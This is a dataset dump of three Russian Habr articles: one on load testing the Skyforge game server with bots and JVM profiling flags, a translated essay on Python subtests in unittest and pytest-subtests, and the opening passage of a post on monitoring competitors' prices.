text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Нагрузочное тестирование Skyforge. Год спустя
Прошло уже больше года после [публикации](http://habrahabr.ru/company/mailru/blog/191378/) [статей](http://habrahabr.ru/company/mailru/blog/193452/), посвященных нагрузочному тестированию [Skyforge](http://sf.mail.ru/) — новой MMORPG от студии Allods Team. С тех пор изменилось многое: дизайн Хабра, Ubuntu обновилась до 14.04.1 LTS, вышла Java 8, а главное — изменилась стадия развития проекта. Состоялось первое закрытое тестирование на внешних пользователях, а скоро будет и стресс-тест – приглашение максимально возможного числа «живых пользователей» на сервера в рамках ЗБТ или ОБТ. Но не буду отнимать работу у нашей команды маркетинга, расскажу лучше о том, что у нас нового в нагрузочном тестировании, что мы переосмыслили, и что из этого может быть полезно широкой общественности.
[](http://habrahabr.ru/company/mailru/blog/234223/)
Краткое содержание предыдущих частей
====================================
* Skyforge — это MMORPG, действие которого происходит в мире sci-fantasy. Мир в игре будет единым для всех территорий. То есть все игроки России и других стран бывшего СССР смогут вместе выполнять задания, спасать мир и становиться богами. Не будет никакого деления по серверам.
* Сервер Skyforge написан на Java, архитектура очень подробно описана в соответствующем [посте](http://habrahabr.ru/company/mailru/blog/220359/) [randll](https://habrahabr.ru/users/randll/).
* Базы данных — PostgreSQL + распределенные транзакции.
* Бот — программа, написанная на C++ и имитирующая действия реального игрока. Боты работают по тому же протоколу, что и честный игровой клиент, используют тот же набор команд, и, в целом, с точки зрения сервера слабо отличаются от обычного клиента.
* Нагрузочное тестирование — совокупность мероприятий, направленных на получение информации о том, способен ли сервер держать положенную нагрузку. Нагрузочные тесты разного характера мы запускаем несколько раз в день. Средний тест идет 40 минут, при этом чистое время теста находится в интервале от 60 до 80 минут.
Больше нагрузочных тестов
=========================
Достаточно продолжительное время «клиентские» нагрузочные тесты оставались единственными нагрузочными тестами, которые мы проводили. Но шло время, росли амбиции, менялись потребности и появились задачи требовавшие протестировать нагрузку бóльшую, чем мы могли дать с использованием клиентских ботов. Ограничение было вызвано в первую очередь тем, что клиентские боты занимались очень большим количеством «сторонних» вещей — принимали решения, честно проверяли какие-то условия, играли, в конце концов. Так начали появляться серверные боты, написанные на Java, лишенные всякой логики и просто дающие жару. Сейчас у нас есть три типа таких «ботов»:
* датабазные — посылают вслепую датабазные операции, используя в качестве исходного профиля профиль реальных игроков с закрытых тестов, и случайные данные;
* боты для чата — делают то же самое, что и датабазные, только для сервисов чата;
* генераторы статистики — идея ровно такая же, что и в двух предыдущих случаях, но для подсистемы статистики.
Данные тесты показали себя очень хорошо именно как нагрузочные, большего от них и не ждали. Они не способны найти ошибки, лежащие дальше простого «не работает». Зато отличаются очень хорошей повторяемостью результата, намного дешевле в разработке и, как следствие, поддержке. Если говорить об экономии еще и в железках, то выходит как-то так:
* для тестирования 10к CCU клиентскими ботами нам в сумме нужно 7 (объекты нагрузки) + 10 (боты) = 17 серверов;
* для тестирования базы данных 50к CCU серверными: 4 + 2 = 6 серверов;
* 100к CCU чатика: 4 + 2 = 6 серверов;
* 100к CCU системы статистики: 2 + 1 = 3 сервера.
Вызвано это в первую очередь тем, что чем дальше мы от боевой конфигурации, тем больше мы можем себе позволить. Например, в тесте системы статистики нет в принципе ни одной запчасти, связанной с самой игрой, только сами приложения, обрабатывающие данные. В тестах чатика или базы данных мы сознательно не нагружаем игровую механику, держа игровой реалм в минимальной запускаемой конфигурации, и только объект нагрузки — в полностью боевом режиме. Также стоит отметить, что чем меньше подсистем участвует в тесте, тем выше стабильность теста.
Клиентские боты
===============
Но как бы прекрасны ни были боты серверные, от клиентских ботов отказываться мы не намерены. Потому что пользы от них существенно больше, а профиль нагрузки максимально приближен к реальному. Поэтому за минувший год они также были значительно улучшены. Теперь они почти абсолютно честно могут проходить значительную часть контента игры. При этом поддержка требуется в минимальном количестве. Выглядит это как-то так: бот появляется на карте, смотрит в свой квест-трекер, видит там указание бежать в точку А и бежит. Благодаря тому, что бот обучен взаимодействовать с окружающим миром, в точке А он последовательно попробует поговорить с кем-нибудь, повзаимодействовать с чем-нибудь или убить всех агрессоров. Почти как в той байке: может ли оно меня съесть? А я его? А могу ли с этим совокупиться? А оно со мной? :)
Также оптимизации самого клиента игры не прошли стороной и наших ботов, так у них значительно снизилось потребление памяти. И теперь мы можем с одной физической машины запускать в два раза больше ботов — 2к вместо 1к.
Клиентские тесты мы сейчас проводим по следующей схеме: все проходят старт игры (самый важный момент для нас с точки зрения нагрузки), все как-то играют (профиль игроков, участвующих в разных активностях взят из головы), все играют на определенной карте. Это позволяет нам находить плохие, с точки зрения нагрузки, карты и оперативно вмешиваться в процесс их создания. Смотреть, какой профиль нагрузки у нас в спокойное время, и быть уверенными, что у нас всё хорошо со стартом игры.
Без этих инструментов нагрузочные тесты были бы в 10 раз более унылые
=====================================================================
Пожалуй, это самая полезная часть статьи. При проведении нагрузочных тестов мало знать, держит сервер нагрузку или нет. Самое важное — это возможность быстро понять, что именно идет не так. Здесь неоценимый вклад вносит Java Mission Control и его фича — Flight Recorder. К сожалению, эта опция на боевых серверах достаточно дорогая ($), поэтому мы пользуемся ей только в тестах. Выглядит это как-то так:
`-XX:+UnlockCommercialFeatures # Включение поддержки JMC
-XX:+FlightRecorder # Включение режима отложенной записи профиля
-XX:StartFlightRecording=name=skyforge,filename=skyforge.jfr,delay=40m,duration=10m,settings=jmc.jfc`
Подробнее можно почитать на [сайте](http://www.oracle.com/technetwork/java/javaseproducts/mission-control/index.html) Oracle.
Далее этот дамп можно открыть с помощью JMC. В дампе будет представлена вся нужная информация: статистика аллокаций, кто кушал процессорное время, вклад процесса в общий cpu load сервера и многое другое. JMC — это хорошо, но так как на боевых серверах мы его позволить себе не можем, то используем дедовский метод — логи GC, из которых вытаскиваем следующую информацию: сколько времени мы провели за минуту в gc, суммарный application stop time за этот же период, какие объекты были до FullGC, какие — после:
`-XX:+PrintGCDateStamps -XX:+PrintGCDetails -XX:+PrintClassHistogramBeforeFullGC -XX:+PrintClassHistogramAfterFullGC -XX:+PrintGCApplicationConcurrentTime -XX:+PrintGCApplicationStoppedTime -XX:+PrintPromotionFailure -Xloggc:memory/gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=memory/heap.dump`
Пример графика:
[](https://habrastorage.org/files/ee8/110/d43/ee8110d439ac4b038522ea147f9e4e5f.png)
Пример статистик до — после:
[](https://habrastorage.org/files/40e/57c/6ce/40e57c6ce9ef4432b61916e4bfef44ca.png)
Еще на всякий случай все сервера мы запускаем с опцией удаленной отладки. Это очень экономит время, когда что-то идет не так, а из логов точная причина неполадок неясна:
`-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=51003`
Собственная статистика
======================
Кроме использования уже готовых средств профилирования, мы активно разрабатывали собственные. Так, например, мы логируем каждый спелл, который колдует игрок, замеряя, сколько процессорного времени было на него потрачено. Это позволяет принимать решения о том, какие именно абилки и механики нужно оптимизировать в первую очередь.
Похожую статистику мы ведем и для операций с базой данных, мы знаем не только какие операции были выполнены:
[](https://habrastorage.org/files/697/7d6/e32/6977d6e3237845f887b3f63a33a7671f.png)
Но и время их исполнения:
Для того чтобы оптимизировать трафик, также приходится делать собственные решения. Поэтому мы замеряем, какие именно сообщения были отправлены, учитывая как их количество, так и объем.
[](https://habrastorage.org/files/b1e/9e4/514/b1e9e451416e47c28bb1b8f00a0f3bc5.png)
Оптимизации при построении отчетов о тестах
===========================================
С ростом числа тестов и числа графиков, стало понятно, что заниматься подготовкой теста, его проведением и анализом в одном процессе непозволительная роскошь. В связи с этим, непосредственно анализ результатов теста и построение отчета были вынесены в отдельный сервис, никак не связанный с системой CI. Это позволило освободить время для прогона дополнительных тестов.
Также выделение отдельного сервиса для построения отчетов способствовало появлению единой точки входа для просмотра данных с нагрузочных тестов, боевых серверов или других тестовых стендов.
Наши грабли
===========
Во время тестов очень важно контролировать инфраструктуру, на которой эти самые тесты проводятся. Я уже упоминал в предыдущих статьях, что у нас были проблемы с [CPU Frequency Governors](http://www.mjmwired.net/kernel/Documentation/cpu-freq/governors.txt), когда искусственно занижалась тактовая частота процесса в целях сбережения электроэнергии. Так вот, мы опять попались на этом. Теперь думаем, как встроить проверку этих флажков в сервер. А в датабазные сервисы, например, мы добавили проверку, что на базах данных настроена синхронная реплика. Потому что её внезапное «отключение» даёт заметный прирост производительности. В общем, советую добавлять проверки окружения непосредственно в сами сервисы. Это дает гарантии того, что ваши серверы оперируются и тестируются именно в том окружении, на которое они рассчитаны.
Выводы
======
В первую очередь хочется заметить, что нагрузочное тестирование, как и любое другое средство улучшения качества ПО, приносит максимальную пользу только тогда, когда используется постоянно. Да, поддержка тестов требует усилий, но оно того стоит. Лучше потратить эти усилия в спокойной обстановке, чем в пожарном режиме.
Во-вторых, если у вас большая и сложная распределенная система, то, кроме интеграционных нагрузочных тестов, может быть целесообразно также проводить нагрузочные тесты на отдельные компоненты. Это, как правило, дешевле, и такие тесты можно делать более гибкими.
И, в-третьих, нагрузочные тесты полезны еще и тем, что значительная часть обвязки, созданной для их проведения, может очень даже хорошо работать и в боевых условиях.
На этом всё. Как всегда, с радостью отвечу на возникшие вопросы в комментариях. | https://habr.com/ru/post/234223/ | null | ru | null |
# Подтесты в Python
Недавно я сделал опрометчивый твит, в котором намекнул на то, что у меня имеется глубоко продуманное мнение по одному важному вопросу. Я написал, что пакет [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) достоин того, чтобы им пользовалось бы больше программистов. Я даже дошёл до того, что, говоря о подтестах (subtests), [сказал](https://twitter.com/pganssle/status/1235295577228955648?s=20), что они были единственным, что мне по-настоящему нравилось в `unittest` до появления их поддержки в `pytest`. И, как на грех, Брайан Оккен предложил мне поучаствовать в подкасте [Test and Code](https://testandcode.com/), чтобы подробнее обсудить подтесты. Я могу лишь догадываться о том, что он это сделал, дабы преподнести мне урок, показать мне, что я не должен, накачавшись продуктами Splenda и травяным чаем, выдавать скороспелые мнения о тестировании кода.Но, тем не менее, когда Брайан взглянет на меня со своей хитрой улыбкой и скажет: «Итак, ты готов поговорить о подтестах?», я планировал ответить: «Да, я готов — сделал обширные заметки и набрал справочных материалов». А когда мы вместе будем стоять на сцене, получая Дневную премию «Эмми» за лучший подкаст о тестировании, я шепну ему: «Я раскрыл твою хитрость, и хотя я тебя обыграл, ты реально показал мне — что такое скромность», а по его щеке скатится одинокая слеза.
Или, что скорее всего так и есть, ему просто хотелось пригласить кого-то, с кем можно поговорить об этом конкретном аспекте Python-тестирования, а я оказался одним из тех немногих, встретившихся ему, кто высказывал по этому поводу своё мнение. В любом случае, этот пост будет играть роль моих заметок по [механизму подтестов из unittest](https://docs.python.org/3/library/unittest.html#distinguishing-test-iterations-using-subtests), который появился в Python 3.4. Здесь же пойдёт речь о сильных и слабых сторонах подтестов, о сценариях их использования. Этот материал можно считать дополнением к подкасту [Test and Code Episode 111](https://testandcode.com/111).
### Введение
Механизм `unittest.TestCase.subTest` появился в Python 3.4, это был простой инструмент для параметризации тестов. Изначальную дискуссию, посвящённую ему, можно почитать в трекере проблем Python, в ветке [bpo-16997](https://bugs.python.org/issue16997). Там, в основном, речь идёт о деталях реализации, но там можно найти и интересные рассуждения. Этот механизм позволяет оформлять разделы тестов в виде отдельных тестов, действующих самостоятельно, с использованием менеджера контекста. Эталонным примером использования `subTest` является тестирование чего-либо в цикле:
```
def test_loop(self):
for i in range(5):
with self.subTest("Message for this subtest", i=i):
self.assertEqual(i % 2, 0)
```
Без менеджера контекста `self.subTest` этот тест немедленно, после того, как выполнится условие `i=1`, выдаст ошибку, будет сообщено о том, что `test_loop` завершился неудачно. Но при применении менеджера контекста неудачные завершения тестов в контексте `subTest` не приводят к выходу из теста, выполнение кода продолжается. Результат запуска этого теста показывает, что успешно пройдены испытания для 0, 2 и 4, а неудачно — испытания для 1 и 3. `SubTest` можно передать произвольные ключевые слова, они будут выведены как часть сообщения о неудачном прохождении теста. Например:
```
______ Test.test_loop [Message for this subtest] (i=1) ___
self =
def test\_loop(self):
for i in range(1, 5):
with self.subTest("Message for this subtest", i=i):
> self.assertEqual(i % 2, 0)
E AssertionError: 1 != 0
test.py:7: AssertionError
\_\_\_\_\_\_ Test.test\_loop [Message for this subtest] (i=3) \_\_\_
...
```
### Почему бы не воспользоваться pytest.mark.parametrize или чем-то ещё?
Пользователям `pytest` возможности параметризации, которые даёт `subTest`, не покажутся невероятно привлекательными, так как в их распоряжении уже имеется несколько подобных механизмов. Среди них — [pytest.mark.parametrize](https://docs.pytest.org/en/latest/parametrize.html), [параметризованные фикстуры](https://docs.pytest.org/en/latest/fixture.html#fixture-parametrize) и довольно-таки таинственный хук [pytest\_generate\_tests](https://docs.pytest.org/en/latest/parametrize.html#basic-pytest-generate-tests-example) в `conftest.py`. Даже во фреймворке Google `absltest` (который, в основном, даёт незначительное расширение возможностей `unittest`) имеется [декоратор](https://github.com/abseil/abseil-py/blob/06edd9c20592cec39178b94240b5e86f32e19768/absl/testing/parameterized.py#L15-L158) для параметризации тестов.
Я склонен согласиться с тем, что, в целом, не пользуюсь подтестами для параметризации тестов. Я, в основном, пользуюсь ими тогда, когда мне совершенно необходимо применять только `unittest`. Например — при разработке для стандартной библиотеки. Иногда, правда, бывает так, что форм-фактор `subTest` даёт некоторые преимущества даже в параметризации. Например, если имеется некоторое количество тестов, которые нужно выполнить, обладающие «тяжёлой» функцией их подготовки к работе, которая собирает или загружает иммутабельные ресурсы, обычно используемые всеми подтестами:
```
def test_expensive_setup(self):
resource = self.get_expensive_resource()
for query, expected_result in self.get_test_cases():
with self.subTest(query=query):
self.assertEqual(resource.make_query(query), expected_result)
```
Я уверен, что можно написать pytest-фикстуру, область видимости которой такова, что ресурс загружается только до сеанса запуска некоего набора параметризованных тестов, а сразу же после этого такой ресурс уничтожается. Но даже если это возможно без каких-либо существенных «танцев с бубном», сомневаюсь, что стороннему читателю кода, или тому, кто делает код-ревью, будет так же просто понять то, что собой представляет время жизни такого ресурса, чем в случае, когда используются подтесты.
Эти два подхода, кроме того, могут гармонично работать вместе. Подход, основанный на декораторах, применяют для написания эталонных «тестовых случаев», а подтесты используют для исследования вариаций на эту тему. Например, можно параметризовать значения входных данных тестовой функции и добавить подтесты для проверки множества свойств результата. Скажем, вот как можно поступить, если нужно проверить, что функции `utcoffset()` и `tzname()` объекта `tzinfo` правильно выдают несколько объектов `datetime`:
```
from datetime import *
from zoneinfo import ZoneInfo
import pytest
def datetime_test_cases():
GMT = ("GMT", timedelta(0))
BST = ("BST", timedelta(1))
zi = ZoneInfo("Europe/London")
return [
(datetime(2020, 3, 28, 12, tzinfo=zi), GMT),
(datetime(2020, 3, 29, 12, tzinfo=zi), BST),
(datetime(2020, 10, 24, 12, tzinfo=zi), BST),
(datetime(2020, 10, 25, 12, tzinfo=zi), GMT),
]
@pytest.mark.parametrize("dt, offset", datetime_test_cases())
def test_europe_london(subtests, dt, offset):
exp_tzname, exp_utcoffset = offset
with subtests.test(msg="tzname", dt=dt):
assert dt.tzname() == exp_tzname
with subtests.test(msg="utcoffset", dt=dt):
assert dt.utcoffset() == exp_utcoffset
```
Здесь тест параметризован значением, но каждое значение тестируется двумя различными способами.
При работе с `pytest.mark.parametrize` мне пришлось перейти от использования `unittest.TestCase` к применению фикстуры `subtests` из пакета `pytest-subtests`. Дело в том, что то, как работает `parametrize`, несовместимо со стилем, используемым для написания тестовых случаев `unittest`. Правда, можно написать параметризующий декоратор, совместимый со стилем тестовых случаев `unittest`, поэтому прошу вас не считать это некоей фундаментальной несовместимостью рассматриваемых подходов.
### За пределами параметризации
Хотя простой механизм параметризации нужен лишь в небольшом количестве случаев, ситуации, когда мне казалось, что подтесты — это возможность, которой не хватает в `pytest`, не имели ничего общего с параметризацией. Одна из задач, которую очень хорошо решают подтесты — это помощь разработчику в том, чтобы придерживаться идеи «одно утверждение на тест» в ситуациях, когда нужно исследовать множество свойств состояния системы.
Например, посмотрим на [тест](https://github.com/pganssle/zoneinfo/blob/9829972933553906f710c36c40231a38ccd20e53/tests/test_zoneinfo.py#L1227-L1237), который я написал для эталонной реализации PEP 615. Этот документ описывает создание нового объекта `zoneinfo.ZoneInfo`, который (чтобы немного упростить ситуацию) генерирует объекты-синглтоны. В первом приближении оказывается, что всякий раз, когда вызывают `zoneinfo.ZoneInfo(key)` с одним и тем же значением `key`, должен быть возвращён тот же объект, который раньше возвращался для того же значения `key`. Это применимо и к объектам `ZoneInfo`, созданных из потока байтов (с использованием модуля `pickle`). Поэтому речь идёт о тесте, который позволяет проверить, что если объект `ZoneInfo` преобразовали в поток байтов, а потом воссоздали объект из этого потока, в нашем распоряжении окажется тот же самый объект. Всё это выглядит не таким уж и сложным, поэтому я могу выразить это в следующем коде:
```
def test_cache_hit(self):
zi_in = ZoneInfo("Europe/Dublin")
pkl = pickle.dumps(zi_in)
zi_out = pickle.loads(pkl)
self.assertIs(zi_in, zi_out)
```
Однако, этот тест, по своей природе, связан с глобальным состоянием. Сначала я заполняю кеш `ZoneInfo` посредством основного конструктора, затем я обращаюсь к нему через некий механизм, используемый `pickle.loads`. Что если подобное действие приведёт нашу систему в странное состояние? Что если так, как надо, работает только первый промах кеша, а последующие промахи работают как-то иначе? Для того чтобы это проверить — я могу написать второй тест:
```
def test_cache_hit_twice(self):
zi_in = ZoneInfo("Europe/Dublin")
pkl = pickle.dumps(zi_in)
zi_rt = pickle.loads(pkl)
zi_rt_2 = pickle.loads(pkl)
self.assertIs(zi_rt, zi_rt2)
```
Можно заметить, что, до второго вызова `pickle.loads`, это — тот же самый тест: я устанавливаю то же самое состояние! Если бы мы добавили во второй тест `self.assertIs(zi_in, zi_rt)`, я смог бы одновременно выполнить оба теста, но это нарушило бы правило «одно утверждение на тест». Я ведь тестирую две разные сущности, делаться это должно в двух разных тестах. Подтесты разрешают эту дилемму, позволяя отмечать разделы теста с несколькими утверждениями как логически разделённые тесты:
```
def test_cache_hit(self):
zi_in = ZoneInfo("Europe/Dublin")
pkl = pickle.dumps(zi_in)
zi_rt = pickle.loads(pkl)
with self.subTest("Round-tripped is non-pickled zoneinfo"):
self.assertIs(zi_in, zi_rt)
zi_rt2 = pickle.loads(pkl)
with self.subTest("Round-trip is second round-tripped zoneinfo"):
self.assertIs(zi_rt, zi_rt2)
```
Обратите внимание на то, что я исключил из контекстов подтеста вызовы `pickle.loads`. Это так из-за того, что, если иногда подтесты завершаются неудачно, выполняется оставшаяся часть теста. Если `zi_in` и `zi_rt` не являются идентичными объектами, это не мешает быть идентичными объектам `zi_rt` и `zi_rt2`. Поэтому имеет смысл выполнять оба теста. Но если не удаётся сконструировать `zi_rt` или `zi_rt2`, тесты, в которых с ними работают, неизбежно завершатся неудачно.
### Минусы подтестов
Мне не хотелось бы описывать текущее состояние дел в сфере подтестов, говоря о них в слишком оптимистичных выражениях. Я считаю, что в этой концепции скрыт огромный потенциал, но дьявол, как говорится, кроется в деталях. Я использовал подтесты, в основном, как часть реализации [PEP 615](https://www.python.org/dev/peps/pep-0615/), и, в более общем виде, выполняя исследования для этого материала. В ходе работы я наткнулся на несколько довольно-таки весомых контраргументов, касающихся использования подтестов.
#### Подсчёт тестов выглядит странным
При использовании для параметризации тестов механизма, основанного на декораторах, общее количество тестовых случаев, которые будут запускаться, определяется до запуска первого теста. Поэтому, если только разработчик сам не изменит количество тестов, в сообщениях о количестве выполненных тестов будет выводиться одно и то же. А при использовании подтестов, концепция того, что собой представляет один «тест», может оказаться довольно-таки странной. Взгляните на следующий простой тест:
```
def test_a_loop(subtests):
for i in range(0, 6, 2):
with subtests.test(i=i):
assert i % 2 == 0
```
Этот код можно счесть соответствующим 3 тестам — по одному для каждого подтеста. Или его можно рассматривать как 4 теста — один на каждый подтест и один для самого тестового случая (который может завершиться с ошибкой за пределами подтеста). Ещё этот код можно видеть как один тест, который либо завершается удачно, либо — неудачно, что зависит от того, завершатся ли неудачно все подтесты. Похоже, что и `pytest`, и `unittest` рассматривают этот код как один тест. Когда я запускаю `pytest`, мне выдаётся результат `1 passed in 0.01s` (хотя я вижу 4 пройденных теста, применяя команду `pytest -v`, поэтому ситуация тут получается довольно сложная). Что произойдёт, если я изменю шаблон отказов?
```
def test_a_loop(subtests):
for i in range(3):
with subtests.test(i=i):
assert i % 2 == 0
```
Теперь получается довольно странный результат: `1 failed, 1 passed in 0.04s`. Мы перешли от 1 теста к 2 тестам. А использование команды `pytest -v` приводит к сообщению о 3 успешно пройденных тестах и об 1 отказавшем. Аналогично, если я просто пропущу подтест, выдаются раздельные сообщения о неудачных и удачных прохождениях испытаний:
```
def test_a_loop(subtests):
for i in range(3):
with subtests.test(i=i):
if i == 2:
pytest.skip()
assert i % 2 == 0
```
Тут получен такой результат: `1 failed, 1 passed, 1 skipped in 0.04s`. А при использовании конструкции `pytest -v` система, как и прежде, сообщает о 4 тестах. Поэтому это — уже кое-что, но даже такая схема работы не является полностью стабильной, так как неудачное завершение теста может произойти за пределами контекста подтеста, что приведёт к преждевременному завершению теста:
```
def test_a_loop(subtests):
for i in range(3):
if i == 1:
pytest.fail()
with subtests.test(i=i):
assert i % 2 == 0
```
Прогон этого теста приводит к интересным сообщениям. Вывод `pytest -v` выглядит так:
```
test.py::test_a_bunch_of_stuff PASSED
test.py::test_a_bunch_of_stuff FAILED
```
Но в итоговом сообщении говорится `1 failed, 0 passed in 0.04s`. Получается, что у нас имеется один подтест, завершившийся удачно, но весь тест завершился неудачно, поэтому количество пройденных тестов, показатель `passed`, равняется 0.
Я не считаю это серьёзным недостатком, так как ничего особенного я с этими сведениями не делаю, и даже если такие сообщения выглядят не особенно понятными, они, по крайней мере, строятся по неким постоянным правилам. Но я вижу, что это может превратиться в проблему для тех, кто пишет программы, представляющие нечто вроде панелей управления, на которых выводятся сведения о тестах. Самым странным в этом всём мне кажется то, что сообщение о том, пройден или нет весь тест, основывается только на тех частях теста, которые не являются подтестами. То есть — тест, полностью состоящий из подтестов, все из которых завершились неудачно, будет считаться успешно пройденным. Но, опять же, это — небольшой косметический недостаток, который не повлияет на большинство программистов.
Если вас такое положение дел совершенно не устраивает — вот открытое [сообщение об ошибке](https://github.com/pytest-dev/pytest-subtests/issues/11) в репозитории `pytest-subtests`, там идёт дискуссия о том, каким должно быть правильное поведение системы.
#### Такой подход может легко привести к появлению спама
Я рассчитываю на то, что реализация [PEP 615](https://www.python.org/dev/peps/pep-0615/) (Я уже достаточно много раз сказал о том, что работаю над реализацией PEP 615?) будет, в итоге, интегрирована в CPython (и поэтому я не могу использовать для параметризации `pytest`). Поэтому я, в наборе тестов для PEP 615, для простой параметризации тестов, использую подтесты. В моих тестах имеется испытание множества пограничных случаев. Это может оказаться весьма неприятным в достаточно часто встречающихся случаях, когда я делаю ошибку, которая ломает всё, а не только один-два механизма, соответствующих пограничным случаям.
Ситуацию усугубляет тот факт, что `pytest -x`, похоже, останавливает наборы тестов только после выполнения всех подтестов, вместо того, чтобы делать это после отказа первого подтеста. Это — проблема, решить которую сложнее, чем кажется. Это так из-за вышеописанной странности в подсчёте количества тестов. Какое определение «теста» использовать для `--max-fail`?
Учитывая это — я не считаю проблему появления спама при выполнении подтестов фундаментальной. Схемы параметризации тестов, основанные на декораторах, страдают от той же проблемы, но они имеют преимущество, касающееся пользовательского интерфейса, обеспечивающего более эффективное донесение до них идеи «остановки после сбоя одного теста». В обеих ситуациях некоторые самоограничения, касающиеся разрастания тестовых случаев, а так же достойный пользовательский интерфейс, способны практически полностью решить эту проблему.
#### Плохое взаимодействие с другим функционалом
Я уже упоминал о том, что у `pytest -x` (и у `pytest --max-fail`) имеются некоторые базовые проблемы, касающиеся интерфейса работы с подтестами. Но существует множество других инструментов тестирования кода, множество других возможностей таких инструментов, которые не рассчитаны на поддержку подтестов. Например, ещё одна проблема с `pytest-subtests` заключается в том, что сейчас `pytest --pdb`, похоже, [не работает](https://github.com/pytest-dev/pytest-subtests/issues/22) при отказе подтеста. Аналогично, я обнаружил, что `pytest.xfail()` совершенно [не работает](https://github.com/pytest-dev/pytest-subtests/issues/24) в подтесте.
Ещё я выяснил, что `unittest.TestCase.subTest` [не работает с Hypothesis](https://github.com/HypothesisWorks/hypothesis/issues/1071), но (помимо предупреждения, которое я считаю, в целом, необоснованным), фикстура `subtests`, предоставляемая `pytest-subtests`, похоже, работает нормально (я, правда, не пользовался `pytest -v`, так как это приводит к генерированию множества подтестов).
Даже в стандартной библиотеке имеются некоторые старые проблемы. Например — в Python 3.8.1:
```
def test_loop(self):
for i in range(5):
with self.subTest(i=i):
if i % 2:
self.skipTest("Skipping odd")
self.assertEqual(i % 2, 0)
```
Мне казалось, что эта конструкция сообщит о некоторых пройденных и некоторых пропущенных тестах, как было при использовании `pytest-subtests`, а, на самом деле, были выведены сведения лишь о пропущенных тестах:
```
test.py::Test::test_loop SKIPPED [100%]
test.py::Test::test_loop SKIPPED [100%]
============ 2 skipped in 0.02s ==========
```
Очевидно то, что нужно работать над дальнейшей интеграцией этой возможностью с другими, но я рассматриваю это, в основном, как симптом того факта, что подтесты — это возможность, о которой знают немногие, которую пока используют не особенно широко. Поэтому об ошибках, подобной этой, никто не сообщает, такие ошибки остаются неисправленными. Репозиторий [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) (на момент написания этого текста) имеет лишь 51 звезду на GitHub, проект всё ещё находится на ранней стадии разработки. Думаю, что все эти проблемы будут решены после более широкого внедрения этого механизма в реальную работу, по мере того, как больше людей будет делать вклад в этот проект. Обратите внимание на то, что создатель этого модуля, Бруно Оливейра, [сказал](https://twitter.com/nicoddemus/status/1235370288331751424?s=20) в Твиттере, что над этим проектом ещё нужно поработать, и в своём отзыве на ранний черновик этого материала он предложил об этом упомянуть.
### Итоги
Это, на данный момент — самая моя длинная и пространная статья, в ней я касаюсь многих вещей. Поэтому я полагаю, что должен подвести итоги тому, о чём говорил.
Вот несколько типичных ситуаций, в которых оправдано применение подтестов:
1. Их можно использовать там, где нужна параметризация тестов, но при этом нельзя пользоваться `pytest`. Или в тех случаях, когда нужно сгенерировать тестовые случаи так, чтобы область их видимости была бы ограничена текущим выполняемым тестом.
2. Они пригодятся тогда, когда получение ресурса оказывается затратной операцией, но при этом нужно проверить более чем одно его свойство. В таких ситуациях подтесты дают нам простой в использовании и понимании механизм для логического разделения тестов.
3. Они подойдут тогда, когда нужно проверять состояние системы по мере её развития. Подтесты позволяют проверять утверждения, когда неудачные тесты не приводят к остановке тестирования. Поэтому можно воспользоваться сильными сторонами наличия множества тестов, не тратя при этом время на установку множества шаблонных параметров состояния.
Вот главные обнаруженные мной минусы подтестов:
1. При применении подтестов подсчёт «тестов» или «неудачных тестов» выглядит достаточно странно.
2. Если сбои в коде связаны друг с другом — легко столкнуться со спамом в виде миллионов результатов.
3. Различные инструменты для тестирования кода пока не очень хорошо интегрированы с подтестами. Поэтому при их совместном использовании всё ещё появляется множество ошибок, связанных с реализацией этих инструментов и самих подтестов.
Я должен сказать, что смотрю в будущее подтестов с оптимизмом — идёт ли речь о реализации стандартной библиотеки, о `pytest-subtests`, или о других библиотеках для тестирования кода на наличие ошибок, не препятствующих его работе, о которых я даже не говорил, вроде [pytest-check](https://pypi.org/project/pytest-check/).
У использования подтестов есть реальные сильные стороны. При этом ни одна из их слабых сторон не кажется совершенно несовместимой с жизнью. По мере более широкого внедрения подтестов в практику, по мере улучшения инструментов, реализующих эту возможность, подтесты, по моему мнению, станут обычной частью нашего тестировочного арсенала.
Стоит отметить, что в момент написания этого материала библиотека [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) всё ещё находится на ранней стадии разработки (в PyPI она имеет версию 0.3.0). Дополнительные усилия, приложенные к работе над ней, сгладят её шероховатости. Если этот материал и соответствующий ему подкаст пробудили в вас интерес к подтестам — возможно, вы захотите сделать вклад в разработку [pytest-subtests](https://github.com/pytest-dev/pytest-subtests#contributing) и поучаствовать в развитии идеи подтестов.
О, а приходите к нам работать? 🤗 💰Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/685890/ | null | ru | null |
# Поднимаем сервис мониторинга цен конкурентов
Любой, кто работает в сфере e-commerce, рано или поздно сталкивается с необходимостью быть первым среди конкурентов. Одним из наиболее эффективных инструментов в данном вопросе является управление ценой. Результаты маркетинговых исследований показывают, что среди тех потребителей, которые готовы сменить поставщика промышленного оборудования и инструментов, треть называет низкую цену как решающий фактор выбора нового поставщика. На просторах интернета существует куча разных сервисов, но по тем или иным причинам они не подходили.
**Способы получения информации о ценах конкурентов**
1. Самый простой и эффективный способ мониторинга цен на данный момент — [pricelab](https://pricelabs.yandex.ru/dashboard/). Но в нем можно проверить только те товары, которые уже участвуют в Яндекс.Маркете. То есть, ваш основной конкурент должен быть в Яндекс.Маркете, интересующий вас товар также должен быть выгружен, и вы сами должны выгрузить свой товар.
Какие же минусы это за собой влечет? Учитывая то, что в Яндекс.Маркете цена клика соразмерна цене [SKU](https://ru.wikipedia.org/wiki/SKU), то многие не будут размещать в нем специализированные товары с большой ценой, да и самим размещать такой товар нерентабельно.
У нас реализован небольшой скрипт для мониторинга цен с pricelab, но некоторые ключевые позиции не выгружаются в pricelab.
